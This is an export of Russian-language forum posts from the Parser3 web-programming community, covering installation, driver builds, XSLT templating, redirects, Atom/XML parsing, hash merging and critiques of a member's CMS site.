Верно ли, что возможное решение только такое:\
- сохранить временный файл на диск\
- [code]^file::exec[md5;\
	    $.stdin[$path_to_saved_file]\
	][/code]\
- удалить файл\
\
?"
"60456","Это я уже понял. Началось все с того, что решил сделать несоклько шаблонов для своей админки на базе бесплатных CSS-шаблонов. Все было нормально, пока я не убрал эту шапку, когда сверстал XSL-шаблон - верстка начала немного ползти.\
\
Я уже с этим сталкивался, но не придал значения. А сейчас задумался.\
Спасибо. Почитаю на досуге."
"60457","но если вы возьмёте версию из HEAD, то в вашем распоряжении будут и ^файл.md5[] и ^file:md5[/путь/к/файлу] (последний метод не считывает файл целиком)"
"60458","main.xslt:\
\
[code]<xsl:template match='node()' mode='frame'>\
	<xsl:apply-templates select='block' mode='frame'>\
		<xsl:with-param name='color' select='#ff0000'/>\
	</xsl:apply-templates>\
</xsl:template>\
\
<xsl:template match='block' mode='frame'>\
	...\
</xsl:template>[/code]\
\
frame.xslt:\
\
[code]<xsl:import href='main.xslt'/>\
\
<xsl:template match='node()' mode='frame'>\
	<xsl:param name='color'>\
\
	<table bgcolor='$color'><tr><td>\
		<xsl:apply-imports mode='frame'/>\
	</td></tr></table>\
</xsl:template>[/code]\
\
писал с головы, могут быть ошибки"
"60459","20 минут ходил по их сайту, игрался с поиском, но ничего не нашёл :-("
"60460","когда писал проверял на $form:fields  , а там такого не случилось..\
впрочем, дело было все таки не .htaccess, как я думал.\
\
кстати, можешь обьяснить, почему все таки такая нелогичная ошибка?\
ведь вызов метода (согласно той же документации) - \
\
[code]^объект.метод[параметры][/code]\
\
а констукция $объект.поле к вызову метода вроде как отношения не имеет, но тем не менее порождает ошибку об отсутствии метода .поле"
"60461","И подряд команды:\
\
[code]sudo apt-get install apache2 apache2-common apache2-mpm-prefork apache2-utils ssl-cert\
sudo /etc/init.d/apache2 restart\
apt-get install mysql-server mysql-client libmysqlclient12-dev\
sudo /etc/init.d/mysql restart\
sudo gedit /var/www/index.html[/code]\
\
Впечатайте туда, например,[code]<h1>Привет!</h1>[/code]\
\
Затем откройте Firefox, наберите адрес http://127.0.0.1/ и увидьте напечатанное.\
\
Затем скачайте с этого сайта версию Парсера для RedHat (CGI с XML), файлы описания кодировок и драйвер для MySQL и установите по инструкции, которая есть в руководстве.\
\
По умолчанию пароль в MySQL для пользователя root пустой."
"60462","неопределенный $form:item содержит не строку, а void. у void есть любое поле (тоже void), и даже есть некоторые методы (для совместимости, чтобы перед их написанием не делать def)\
\
нет, не могу (надо смотреть код). возможно подобное сообщение об ошибке несложно подправить, но меня это совершенно не напрягает. пришлет кто-нить patch - сделаю."
"60463","было всего 4 страницы с результатами, т.е. максимум 100 тредов, которые надо было просмотреть. я начал с конца (часто при более свежих упоминаниях проблемы отправляют к старым обсуждениям/решениям) и примерно на 15 ссылке нашел то что и показал вам. \
\
а ожидание вами ответа заняло 4 дня..."
"60464","Спасибо большое!!! Аппач заработал, а как к нему прикрутить парсер? Вот ещё что.... у меня стоит панда антивир, и она призагрузке ругается на пёрл.ехе, отключил файрвол всё равно без толку...\
Интересно, что после денвера запускал Sw Kn 3.5, пишет, что всё включено, а не хрена не пашет (404)"
"60465","Правда, эта схема подходит только в том случае, если для рамок знать заранее какие элементы будут помещаться внутрь."
"60466","Огромное спасибо за ответы!!!! :)"
"60467","Ножик заработал, хост своего подключил (127.0.0.3) auto.p не отрабатывает, httpd.conf поправил.\
На 127.0.0.1 и 127.0.0.2 auto.p работает. Подскажите где глюк???"
"60468","Как я могу его получить и дальше с ним работать?"
"60470","- структуру каталогов повторил\
- драйвер собрался, установился, куда ему и нужно\
\
в auto.p следующее:\
[code]\
$SQL[\
        $.drivers[^table::set{protocol  driver  client\
pgsql   $sqldriversdir/libparser3pgsql.so       /opt/pgsql/lib/libpq.so\
}]\
]\
[/code]\
\
Может, он не все необходимые клиентские библиотеки цепляет?\
Например, под Денвером, пока я не положил все новые библиотеки от Postgres 8.2.4 в каталог парсера, не запустилось.\
Но под windows понятно - есть окошко \"parser3 не нашел библиотеку.\"\
\
Что теперь делать?\
Теперь приниматься за сборку парсера? Или если он работает, то не трогать? :)"
"60471","Есть строка \
$temp_uri[^request:uri.left(^request:uri.pos[?])]^if(^temp_uri.right(1) ne \"/\"){$temp_uri[${temp_uri}/]}\
\
Возникает ошибка, если в URL нет знака ?\
Например http://www.domain.ru/\
\
Как лучше решить проблему? Помогитое кодом."
"60472","cd parser3\
./buildall-with-xml\
\
%-)\
\
ещё мысли: \
- может драйвет pgsql какой-то совсем древний?\
- если исходники берёте из cvs, то попробуйте взять версию до внесения последних изменений (до 2007-01-26)\
- периодически рекомендуют при проблемах с драйвером на freebsd пробовать собрать _парсер_ с ключиком --with-dynamic-stdcpp, однак зачем этот ключик вообще нужен я без понятия =)\
\
\
P.S. я правильно понимаю, что осталась такая ошибка:\
/srv/www/cgi-bin/lib/libparser3pgsql.so: undefined symbol: _ZTVN10__cxxabiv120__si_class_type_infoE\
?"
"60473","давайте вы попробуете сами понять причину ошибки и попытаетесь её исправить? если не получится -- расскажете что именно вы обнаружили, что сделали чтобы обойти проблему, а мы поправим..."
"60474","[quote]Собрать быстрее...[/quote]\
Ага! Не быстрее - там ошибки :-), вот я и надеюсь, может не надо сам парсер пересобирать, раз он работает.\
\
Исходники драйвера отсюда: http://www.parser.ru/download/src/\
\
parser3pgsql-3.1.4.tar.gz  (14.08.2006  435,4 КБ)\
PgSQL драйвер для Parser3\
\
[quote]P.S. я правильно понимаю, что осталась такая ошибка:\
/srv/www/cgi-bin/lib/libparser3pgsql.so: undefined symbol: _ZTVN10__cxxabiv120__si_class_type_infoE\
?[/quote]\
\
Да, она.."
"60475","Есть страница [url=\"http://www.sapcon.ru/news/2007/03/29/\"]http://www.sapcon.ru/news/2007/03/29/[/url], при переходе на англоязычную версию [url=\"http://www.sapcon.ru/en/news/2007/03/29/\"]http://www.sapcon.ru/en/news/2007/03/29/[/url] выдает русский месяц и не открывает саму новость.\
\
Проверил на другом сервере: [url=\"http://sapcon.atsar.ru/en/news/2007/03/29/\"]http://sapcon.atsar.ru/en/news/2007/03/29/[/url] все работает.\
\
В первом варианте на сервере стоит linux, во втором freebsd.\
\
Потому у меня вопрос: это настройки на сервере или неподходит парсер (установлена версия для redhat)?"
"60478","Код страницы содержит символы табуляции и лишние пробелы.\
\
Как этого избежать?"
"60480","Дык вроде бы нигде их нет :-("
"60481","изменения: \
Lib.p: href, makeList, getParserVersion\
LibComp.p: image, run_time\
FileSystem.p: getFileSize, printFileSize"
"60482","P.S. а предварительно сделайте его и проверьте сами. при этом убедитесь что никакой postprocess также не перекрашивает данные."
"60485","Только установил Парсер. Решил на примере первого урока посмотреть как он работает. Выдает следущее сообщение:\
[i]Unhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
Please contact the server administrator, support@masterhost.ru and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.[/i]\
\
В чем проблема, не подскажите?"
"60487","[code]@postprocess[body]\
$body[^body.match[\\n|\\r|\\t][g]{}]\
$body[^body.match[(\\s)+][g]{ }][/code]"
"60490","Просто в переменную положить всё, что до знака «?»?"
"60491","Он вроде только под .+n?x"
"60492","Единственное что заработало с серверами через 15 минут чтения документации.\
\
Всё остальное даже не смогло подключиться при затраченных двух днях  чтения мануалов"
"60493","а ещё можно запустить для этого внешний скрипт, удалить повторяющиеся пробельные символы через вер сервис или вручную в postprocess пробежаться с помощью for по output-у и всё вырезать.\
\
но зачем? у парсера уже есть этот механизм. парсер уже тратит на него память/время (помня где на каком \"языке\" кусочек строки) и надо лишь понять что не так с текущим решением, к тому-же  парсерудалит пробельные символы быстрее и затратит на это меньше рессурсов. очень может быть что сейчас имеет место быть некорекктное перекрашивание, которое аукнется позже.\
\
прямой путь -- разробраться с проблемой, а не затыкать её затычкой.\
\
кстати затычка - плохая:\
- использовть \"или\" в решулярных выражениях без нужны не стоит, ибо это медленно, тут всё решается группой символов: [\\n\\t]\
- этот код убьет некоторые <pre/>, js в коде и много ещё чего сделает не так\
- \\r -- таких символов у парасера не бывает, после загрузки файлов он вырезает подобные 'буквы'\
- $body никуда не выдается\
\
2tezro: огромная просьба: не надо таким образом \"помогать\" людям. новички не понимают нехорошестей в подобных решениях, но начинают делать copy/paste, и потом имеют проблемы. надо разобраться в проблеме и лишь затем искать решение."
"60495","причём сразу посоветую, делайте configure с флажком\
[code]\
  --with-dynamic-stdcpp   link libstdc++ dynamically\
[/code]\
\
просто попровьте configure строчку в build-all."
"60496","из нескольких пробельных символов он оставляет первый. это может быть и ентер, и таб и пробел. броузерам в обычных местах без разницы что там - ентер, таб или пробел, он это всё равно покажет как пробел.\
\
в специфических-же местах (pre, js) - все равно ничего автоматом удалять нельзя, тут нам нужен соответствующий taint."
"60497","рад, что такие функции появились, спасибо :)\
\
[quote]^file:md5[/путь/к/файлу] (последний метод не считывает файл целиком)[/quote]\
\
Это как?\
Речь о том, что файл читается блоками, а не грузится в RAM целиком?"
"60498","насколько это \"отлично\" -- вопрос спорный, т.к. за всё время похоже это потребовалось только вам :)\
\
а приделывал я это исключительно в качестве тренировки, т.к. все алгоритмы расчёта md5 уже были в исходниках :)"
"60499","Эй! Есть кто с Киева, кто умеет и любит программировать на Parser? Давайте знакомится!\
\
[b]К разработчикам форума:[/b] Я думаю было бы очень полезно сделать поиск по месту обитания (Location) на страничке http://www.parser.ru/forum/users/"
"60502","Или время еще не настало? :)\
Готов участвовать.\
\
Поскольку, ошибки вылазят те же, что и сабжевом треде.\
\
\
PS: почему-то разбираться как подключить более старый компилятор мне не хочется."
"60504","но не все. нам не было нужно.\
пришлете исправления?"
"60505","конечно пришлю, но только мне бы немного помощи в их исправлении.\
\
например, у меня ровно все те ошибки что в subj трэде.\
я забрал из CVS ветку 3_2_1"
"60510","Без обид. Просто прикольно получилось :)\
На вопрос \"а где взять НЕАD\" подмывает ответить \"где-то в районе SHOULDERS. чуть выше.\""
"60511","В общем тогда ближе к делу. У меня есть CMS, которую я разрабатывал несколько лет. Сейчас она используется на одном проекте (http://www.nvdc.biz), она вполне удовлетворяет требованиям компании. Но для её развития мне нужны единомышленники.\
\
Код старался делать максимально понятным. Сейчас мне интересен тот факт, поёмет ли кто-то этот код и захочет ли над ним работать дальше :)"
"60513",":))))) Понимаю) \
\
кстати, да, на \
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/types/?only_with_tag=HEAD\
многие исправления уже сделаны.\
\
щас будем учиться их выкачивать :)"
"60515","Давайте часть кода - почитаем, покритикуем. Без вопросов."
"60516","http://www.parser.ru/forum/?id=55675\
\
у меня то же.. \
\
я так понимаю, что-то тут надо переписать\
или inline uint hash_code(int self)\
или одну из inline void generic_hash_code(...)\
\
[code]\
pa_globals.C:75:   instantiated from here\
../../src/include/pa_hash.h:88: error: invalid conversion from ‘unsigned int’ to ‘const char*’\
../../src/include/pa_hash.h:88: error:   initializing argument 1 of ‘String::Body::Body(const char*)’\
../../src/include/pa_hash.h: In member function ‘V Hash<K, V>::get(K) const [with K = unsigned int, V = Request*]’:\
pa_globals.C:79:   instantiated from here\
../../src/include/pa_hash.h:234: error: invalid conversion from ‘unsigned int’ to ‘const char*’\
../../src/include/pa_hash.h:234: error:   initializing argument 1 of ‘String::Body::Body(const char*)’\
../../src/include/pa_hash.h: In member function ‘V Hash<K, V>::get(K) const [with K = unsigned int, V = XML_Generic_error_info*]’:\
\
...\
[/code]"
"60519","Один раз просто тупил я, када написал, что-то типа такого:\
\
[code]$b[\
	^switch[$a]{\
		^case[1]{\
			yes\
		}\
	}\
][/code]\
\
Ну примерно. А потом:\
\
[code]He said ${b}.[/code]\
\
И собсно появлялся таб перед точкой. Дело было давно, и я поломал весь бубен..."
"60520","Детские ошибки.\
Если по нему судить о cms, то преспектив не видно совершенно."
"60522","Marat все грамотно написал, так что то же самое, другими словами )\
\
хочется отделить рамку от данных, находящихся с ней,\
чтобы менять рамку для одних и тех же данных\
чтобы менять данные для одной о той же рамки\
\
нужно сделать так, чтобы в рамке находился только один объект,\
то, что вы и делаете, передавая в функцию один параметр\
^frame[^forum[]]\
<frame><forum /></frame>\
<frame><thread /></frame>\
<frame><message /></frame>\
\
если известно, что находится внутри:\
<xsl:template match=\"frame\">\
<xsl:apply-templates select=\"forum\" />\
<xsl:apply-templates select=\"thread\" />\
<xsl:apply-templates select=\"message\" />\
...\
</xsl:template>\
\
если не известно, что находится внутри:\
<xsl:template match=\"frame\">\
<xsl:apply-templates />\
</xsl:template>\
\
<xsl:template match=\"frame/forum\" />\
<xsl:template match=\"frame/thread\" />\
<xsl:template match=\"frame/message\" />\
\
во втором случае шаблон выбирается автоматически\
это примерно как Shape.draw()\
\
рамка и данные в ней параметризуются именно через xml, а не xslt\
при разборе фрагмента\
<frame type=\"red\"><message /></frame>\
\
шаблоном\
<xsl:template match=\"frame\" />\
<xsl:template match=\"frame[@type = \"red\"] priority=\"1\" />\
<xsl:template match=\"frame[@type = \"blue\"] priority=\"1\" />\
<!-- общий вид сообщения на форуме -->\
<xsl:template match=\"message\" />\
<!-- вид сообщения, если он внутри рамки -->\
<xsl:template match=\"frame/message\" priotity=\"1\" />\
\
будет сначала вызван шаблон для построения красной рамки,\
а внутри него будет вызван шаблон для построения сообщения в том месте рамки, где оно должно появиться\
\
обратите внимание, как именно расположены элементы сообщения (имя пользователя, время, заголовок, текст) определяется в шаблоне message, в котором можно вывести их в любом порядке\
\
структура узлов действительно будет жесткая:\
сообщение в рамке - это <frame><message /></frame>\
уже нельзя в xml написать <message />, а в xsl его обрамить\
\
с другой стороны, рамка - это тоже важный блок страницы, и его отображение может меняться в разных языковых версиях сайта"
"60523","при конфигурации...\
\
...\
configure: WARNING: to regenerate Parser grammar YOU WOULD NEED BISON\
..."
"60527","Мой универсальный оценщик качества сайта — нестандартный цвет фона окна.\
Так что сразу видно, где разработчик не указал белый фон страницы явно.\
Собственно, после этого дальше и обсуждать нечего...\
\
Ошибка 404 — просто сказка.\
\"Извините за временные неудобства, этот раздел сайта находится в разработке.\" — песня души.\
\"Загрузка\" — отлично, уже при виде этой надписи хочется уйти не дожидаясь праздника.\
Новости на украинском.\
Календарь, ломящийся от количества новостей.\
И прочее и прочее.\
\
Кустарность — вот чёткое определение данному сайту.\
Мелочи они говорят обо всём."
"60528","Если по сайту, то лого на главной есть ссылка на главную, отступа снизу страницы нет, куча разных шрифтов, выбранные ссылки в меню остаются ссылками. Ну и некрасиво, впринципе. Ну и «загрузка» в начале это тоже куст.\
\
Если по движку, то надо код."
"60529","Вы оцениваете как веб-дизайнер, а я как веб-программист. Все ваши замечания я обязательно учту.\
\
1. Ошибка 404 - согласен, надо сделать нормальную страничку.\
2. Временные страницы - издержки производства (навигацию сделали, а контента не предоставили)\
3. Исправим-с.\
4. Переводить государственный документ не поднимается рука.\
5. Сочинять новости не приходится, добавляем по мере их появления.\
\
Готов дальше воспринимать критику."
"60530","1. А что страшного, что на главной ссылка на главную?\
2. По поводу ссылок в меню - можно исправить.\
3. Некрасиво - это уже субъективность.\
4. \"Загрузку\" заменим главной страницей.\
5. По движку - не готов раскрывать кода."
"60533","Интересно, много тут таких как я - написавших не один сайт, не зная php, только парсер?"
"60534","Из таблицы [code]^table::create[/code]"
"60535",">написавших не один сайт\
Адреса подкинете? Просто интересно посмотреть."
"60536","Да, без жесткой привязки никуда... Единственно, что мне пока пришло в голову делать рамку через DIV + CSS. Т.е. во всех шаблонах там где предполагается использовать рамки помещаем материал внутрь DIV-блоков, а для них уже определяем соответствующий стиль с помощью CSS.\
\
Просто я просмотрел принцип построения новых шаблонов и все они практически построены на этом принципе. Значит, тем кто будет использовать CMS-ку так будет проще работать.\
\
А делать привязку в XML-ле мне кажеться не очень удобно, т.к. в выходной XML-документ движек у меня выдает данные без всякой привязки к внешнему виду."
"60538","Я."
"60539","а писал я об этом:\
http://www.parser.ru/forum/?id=36793"
"60540","это обычная беда с open source проектами, когда продукт хорош, а документация хромает.\
насколько помню, я использовал исходный код, чтобы разобраться.\
сейчас пошёл поискал (полнотекстовым поиском по каталогу с исходниками libxml, нашёл и исходник и документ).\
\
http://www.xmlsoft.org/guidelines.html#Catalog\
http://www.xmlsoft.org/html/libxml-tree.html#xmlIsXHTML"
"60541","вам не помешает.\
\
а если любопытно, то воспользуйтесь словарём.."
"60542","спасибо, посмотрим."
"60543","Многие заказчики непонимая причины требуют сайты исключительно на PHP. Несколько раз пытался объяснить таким преимущества Парсера, но люди не программисты - их наши доводы не убеждают абсолютно. И приходится, скрипя зубами, писать на ПэХэПэ (как сказал мне один заказчик).\
\
Один раз, правда, несмотря на требования, написал сайт на Парсере, но заказчику ничего не сказал. Сайт работает, заказчик доволен.\
\
Но если требований к серверному языку нет, то пишу только на Парсере.\
\
P.S. А PHP выучить я бы всеравно посоветовал. Для общего мировоззрения, так сказать. Знания лишними не бывают."
"60548","Кому понадобятся, [url=\"http://www.cursor-audit.com/download/parser3.2.1_pg8.2.4_SUSE10.tar.bz2\"]бинарники[/url] на  SUSE 10."
"60549","Козлов Михаил Александрович:\
\
http://www.315robindr.com — Личная страничка\
http://www.315design.com — Портфолио\
http://www.summerjobusa.com — Сайт компании SammerJobUSA.com\
http://www.promservice.ru — ООО ТК Промсервис\
http://www.pashaspromotions.com — Pasha’s Promotions\
http://www.missrussiansummer.com — Cайт конкурса красоты \"Miss Russian Summer\"\
\
В работе:\
http://www.okeansk.com\
http://www.kateborodina.com\
\
В некоторых сайтах использованы готовые PHP решения, но языка как такового я не знаю, к сожалению, но выучить хочу, очень. И выучу..."
"60550","Ни разу к пхп не прикасался\
С парсера как начал 4 года назад, так и не останавливался."
"60551","Появление явного определения result сильно скрасило жизнь в данном вопросе. Тока хелп, как обычно, мало что дает понять, и до многого приходится допирать самому.\
\
Были темы на пользовательские варианты полезных операторов.\
Предлагаю скинуть свои варианты дополнения документации. Ведь у всех всплывают ньюансы, но мало из них описано.\
Думаю всем на пользу пойдет."
"60552","считаю это очень слабосвязанными вещами (в общем случае), т.к. cms мог делать один человек, а сайт -- другой.\
\
или cms делал человек, далёкий от дизайна. понятное дело, что сайт он \"красиво\" не сделает (под красиво я подразумеваю не красивую картинку).\
\
вместе с тем согласен со многими указанными мелочами:\
- зачем показывать в меню ссылку на страницу, которая under construction?\
- заче ставить ссылки на себя?\
- зачем мучать посетителя недоделаными стилями у <a />?\
и т.д.\
\
это такие мелочи, которые в общем не связаны ни с cms ни с дизайном, но которые сильно бросаются в глаза."
"60554","что и то и другое делал один человек.\
А, по сему, сразу видно уровень и могу себе представить чего там в недрах понаписано.\
\
Автору: не в обиду, просто действительно слабо.\
И дело тут не в субъективной оценке или \"дизайне\"."
"60556","Да, будет лежать. Удалять не собираюсь. Если что-то изменится, сообщу по почте, хорошо?"
"60557","сейчас уже совсем не программер..."
"60558","возможно ли теоретически и насколько реально практически конвертировать php сценарий на parser."
"60562","вполне реальные конвертеры.\
Платите ему зарплату — он переписывает ваш php-сценарий на Парсер.\
Правда из-за ошибок, допущенных во время проектирования и изготовления он не может работать более восьми часов в сутки и 5 дней в неделю.\
Попадаются, конечно, более современные образцы, не старше 25 лет, с правым рулём, они могут работать до 10-12 часов в сутки, если предоставить им безлимитный доступ к глобальной сети, высушенный мелко резанный картофель и настойку солода, крепостью не менее 7,6 градуса.\
Но и они крайне недолговечны ввиду изначально неверно выбранной органической архитектуры...\
\
Некоторые конвертеры, к тому же, имеют встроенные модули генерации псевдо-разумной последовательности символов и иногда пишут эти последовательности в форум."
"60563","К сожалению в форуме не смог найти нужную информацию, поэтому и спросил, может кто ссылку даст, если это уже обсуждалось."
"60564","[quote]Если есть PHP, то для чего Parser?\
PHP — это язык программирования, требующий соответствующей подготовки. На Parser могут работать далеко не профессиональные программисты. Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени.[/quote]\
\
На PHP пожно написать парсер. На парсере PHP — врядли."
"60565","Когда я сохраняю файл в формате CSV - у меня всё тоже самое, кроме разделителей (вместо табуляций - точки с запятыми). \
Таким образом, это проблемы не решает!"
"60566","Хостинг — .masterhost.\
Перестала корректно работать конструкция $response:location. $response:refresh — работает, но это не то что требуется.\
Конструкция должна выполняться после обработки данных из формы.\
\
$response:location[http^://.../] — короче, так как всегда, проверял корректность задания URL многократно...\
\"Некорректно\" — имеется в виду, браузер как бы \"зависает\" на некоторое время. Данные из формы обрабатываются.\
Если нажать F5, \"отвисает\". Причём, если подождать минут пять, перерисовка происходит так как задумано.\
$response:location[/?...] — переход осуществляется, но исходный адрес в строка браузера остаётся!\
\
Некорректно работает из index.html. Пробовал прописать вызов $response:location в auto.p. То же самое.\
Попробовал создать тестовый файл test.html с единственной инструкцией $response:location, так работает правильно!\
Никогда не возникало проблем с этим $response:location, а тут на тебе... :-)\
\
Подскажите, пожалуйста, в чём может быть дело..."
"60567","Только не понимаю, при чем тут ПХП? \
Я работал на Python и вернусь к нему через пару лет, когда машины станут попроизводительнее:)"
"60568","$response:location[http^://.../]  -- а на фига тут '^'?"
"60569","Нуу... не знаю, строковый литерал, всё-таки...\
\
Проверил. Некорректно работает и с \"птичкой\" и без \"птички\". Из тестового файла — работает и так и так."
"60571","что если сделать тупой тестовый файл с одной строчкой, выдающий этот location, проверить работает ли он, и если нет -- то посмотреть telnet-ом какие приходят заголовки.\
\
дело в том, что парсер всё отдает веб серверу (апач?), который может взять и что-то изменить и отдать посетителю уже изменённое."
"60572","Нет, не только после POST.\
Пробовал в начале index.html писать $response:location[...] — та же песня..."
"60573","Поставил В НАЧАЛЕ index.html $response:location[http://www.parser.ru/]. Проблема та же.\
\
HTTP/1.1 302 Found\
Date: Mon, 14 May 2007 18:31:02 GMT\
Content-Type: text/html; charset=iso-8859-1\
Connection: close\
Server: Apache/1.3.37 (Unix)\
set-cookie: group=4; path=/\
set-cookie: key=D93398647912868C; path=/\
Location: http://www.parser.ru/\
\
\
\
Сделал новый index.html, состоящий из одной строчки $response:location[http://www.parser.ru/]. Работает.\
\
HTTP/1.1 302 Found\
Date: Mon, 14 May 2007 18:24:06 GMT\
Content-Type: text/html; charset=iso-8859-1\
Connection: close\
Server: Apache/1.3.37 (Unix)\
Location: http://www.parser.ru/"
"60574","Посмотрите, какие заголовки приходят в броузер. Осел виснет, например, при двойном переводе строк после статуса (т.е. когда первым приходит пустой заголовок)"
"60575","В мануале написано, что текущий. Однако, если компилировать код внутри экземпляра пользовательского класса, переменные не отлавливаются. $var[test] ^process{^^$method^[^$var^]}, будучи вызван таким образом, не видит $var\
Не удалось отловить ее, находясь и в $статика:CLASS, и в $self"
"60576","код вы не приводите, поэтому гадать может быть долго.\
не получится разобраться -- приводите код."
"60577","Спасибо, всё чисто и ясно:)\
Свою проблему ранее решил именно так - копированием переменной в пространство класса."
"60578","Теперь класс (точнее это уже набор классов) умеет работать не только с NConvert, но и с ImageMagick'ом\
\
[url=\"http://kulikoff.net/parser3/img/\"]Подробнее читать тут[/url]"
"60580","Буквы некрасивые :)\
[url=\"http://www.cursor-audit.com/download/pub/Clipboard03.png\"]Картинка[/url]"
"60584","Не могу найти под Linux RedHat файлик 32-битный libmysqlclient.so Пожалуйста подскажите ссылку или отправьте на email: mail@jn-s.net\
\
Заранее большое спасибо."
"60585","MySQL 4.1.20"
"60587","Для MySQL 4.1.20 нужна libmysqlclient.so.12 ?"
"60588","по версиям: http://www.parser.ru/forum/?id=49916"
"60589","Два варианта кода. Обо возвращают то, что не хочется... Но понимаю, что это верно. Но может задуматься и о другом способе объединения?\
[b]Вариант 1.[/b]\
[code]\
$hTest1[\
	$.group[\
		$.70[\
			$.name[group_70]\
		]\
	]\
]\
\
$hTest2[\
	$.group[\
		$.50[\
			$.name[group_50]\
		]\
	]\
]\
\
$hTest1[^hTest1.union[$hTest2]]\
\
$hTest1.group.70.name\
$hTest1.group.50.name\
\
# результат: group_70\
[/code]\
[b]Вариант 2.[/b]\
[code]\
$hTest1[\
	$.group[\
		$.70[\
			$.name[group_70]\
		]\
	]\
]\
\
$hTest2[\
	$.group[\
		$.50[\
			$.name[group_50]\
		]\
	]\
]\
\
^hTest1.add[$hTest2]\
\
$hTest1.group.70.name\
$hTest1.group.50.name\
\
# результат: group_50\
[/code]\
\
А как мне объединить их так, чтобы одинаковые ключи не перезаписывались (в случае если они являются хэшем), а пополняли свое содержание?\
\
Т.е. нужно чтобы результат был:\
[code]\
group_70\
group_50\
[/code]\
\
Я пока вижу только вариант с рекурсией обоих хэшей при их объединении."
"60590","Только установил, вместо стартовой страницы вот такое:\
Unhandled exception 0xC0000005 at 0x024F8F20\
\
И хоть ты тресни!\
\
Несколько раз заново устанавливал."
"60593","Пытаюсь вытащить информацию из xml файла в формате Atom.\
Делаю следующее\
\
[code]$atom[^file::load[text;^untaint{путь к файлу}]]	\
$xml[^xdoc::create{^untaint{$atom.text}}]\
$items[^xml.select[/feed/entry]][/code]\
\
файл существует, ^xml.string[] показывает информацию из этого файла. [b]Но хэш $items - пустой.[/b] \
\
Подскажите, где может быть ошибка?"
"60594","это из оперы:\
http://www.parser.ru/forum/?id=59873"
"60595","P.S.: ^untaint{путь к файлу} untaint тут не нужен, всё равно будет сделан принудительный taint (подробности в доке)"
"60596","дело в том, что rss работает корректно, а все atom файлы, которые я нашел в сети (3 шт пробовал) не робят. \
\
Например вот этот:\
\
?xml version=\"1.0\" encoding=\"utf-8\"?><feed xmlns=\"http://www.w3.org/2005/Atom\">\
<title>\"Українські Новини\" - Новости агентства</title>\
<subtitle>Главные новости дня -  политика, экономика, финансы, регионы, происшествия</subtitle>\
<author><name>ИнА \"Українські Новини\"</name></author><link rel=\"self\" href=\"http://www.ukranews.com/rus/index.atom\"/>\
<link rel=\"alternate\" type=\"text/html\" href=\"http://www.ukranews.com/rus/fulltext/all/20070516.html\"/>\
<updated>2007-05-16T17:12:48+03:00</updated><id>tag:www.ukranews.com,2007:/rus/index.atom</id>\
<rights>(c)1997-2007 Ukrainian News Agency. All rights reserved. Publication and distribution of Ukrainian News' products are strictly prohibited without prior written consent of the agency and reference to the source.</rights><entry>\
<title>Высший админсуд подтвердил запрет Затулину на въезд в Украину</title>\
<link href=\"http://www.ukranews.com/rus/article/43300.html\"/>\
<id>tag:www.ukranews.com,2007-05-16:43300.rus</id>\
<updated>2007-05-16T17:02:00+03:00</updated>\
<summary type=\"html\"><![CDATA[   <p>     \"Было бы чудом, если бы сегодня админсуд принял другое решение\", - заявил сам Константин Затулин.   </p><img border=\"0\" src=\"http://www.ukranews.com/medbblob/00000000000000002673.jpg\" width=\"100\" height=\"75\" alt=\"Высший админсуд подтвердил запрет Затулину на въезд в Украину\" title=\"Высший админсуд подтвердил запрет Затулину на въезд в Украину\">]]></summary>\
<category term=\"Политика\"/><link rel=\"enclosure\" href=\"http://www.ukranews.com/medbblob/00000000000000002673.jpg\" type=\"image/jpeg\" length=\"2685\" title=\"Высший админсуд подтвердил запрет Затулину на въезд в Украину\"/><link rel=\"enclosure\" href=\"http://www.ukranews.com/medbblob/00000000000000002672.jpg\" type=\"image/jpeg\" length=\"7613\" title=\"Высший админсуд подтвердил запрет Затулину на въезд в Украину\"/>\
</entry><entry>\
<title>Курс гривны на межбанке сохранился на 5,02 UAH/USD</title>\
<link href=\"http://www.ukranews.com/rus/article/43295.html\"/>\
<id>tag:www.ukranews.com,2007-05-16:43295.rus</id>\
<updated>2007-05-16T16:47:29+03:00</updated>\
<summary type=\"html\"><![CDATA[   <p>     По словам дилеров коммерческих банков, в начале торгов котировки колебались в пределах 5,0170-5,0230 UAH/USD, в дальнейшем сузились до 5,0180-5,0220 UAH/USD, а к концу торгов снизились до 5,0150-5,0180 UAH/USD.   </p><img border=\"0\" src=\"http://www.ukranews.com/medbblob/00000000000000001942.jpg\" width=\"100\" height=\"75\" alt=\"Курс гривны на межбанке сохранился на 5,02 UAH/USD\" title=\"Курс гривны на межбанке сохранился на 5,02 UAH/USD\">]]></summary>\
<category term=\"Экономика\"/><link rel=\"enclosure\" href=\"http://www.ukranews.com/medbblob/00000000000000001942.jpg\" type=\"image/jpeg\" length=\"3517\" title=\"Курс гривны на межбанке сохранился на 5,02 UAH/USD\"/><link rel=\"enclosure\" href=\"http://www.ukranews.com/medbblob/00000000000000001941.jpg\" type=\"image/jpeg\" length=\"11883\" title=\"Курс гривны на межбанке сохранился на 5,02 UAH/USD\"/>\
</entry>"
"60597","Тогда возникает ошибка: does not start with http://\
\
в $feeduri передаю строку http://localhost/rss.xml"
"60598","добавьте:\
\
[code]^xml.search-namespaces.add[\
   $.zigi[http://www.w3.org/2005/Atom]\
]\
$z[^xml.select[/zigi:feed/zigi:entry]]\
^z._count[]\
[/code]"
"60600","ЖЖ для каждого дневника выдаёт и RSS, и Atom.\
\
Есть такой сайт, как Feedvalidator.org. Если валидатору не нравится поток, xml-парсеру он тоже не понравится.\
\
В своём коде вы забыли про XML namespaces. С ними можно разобраться средствами класса xdoc, а можно быстренько сделать replace по тексту файла перед выполнением ^xdoc::create."
"60602","за hint-ы отдельное спасибо :-)"
"60603",".select -- xpath\
.firstChild, .nextSibling & Co -- dom\
\
когда я писал разбор wsdl-ек, то помучавшись с xpath я бросил его и сделал все через dom. для этого, кстати, я и дописал методы Node:foreach и Node:foreachChild\
\
в рассматриваемой ситуации было бы примерно следующее:\
[code]^Node:foreachChild[$xml.documentElement;entry;xNode;]{\
node: $xNode.nodeName<br />\
# тут у xNode достаем title, ...\
}\
[/code]\
\
хотя в вашем случае наверное xpath оправдан."
"60605","Следующий код выводит ошибку (element can not be stored to void):\
[code]\
$result[^hash::create[]]\
	\
^process{\
	^$result.action[test]\
}\
[/code]\
\
Я опять что-то не понял?"
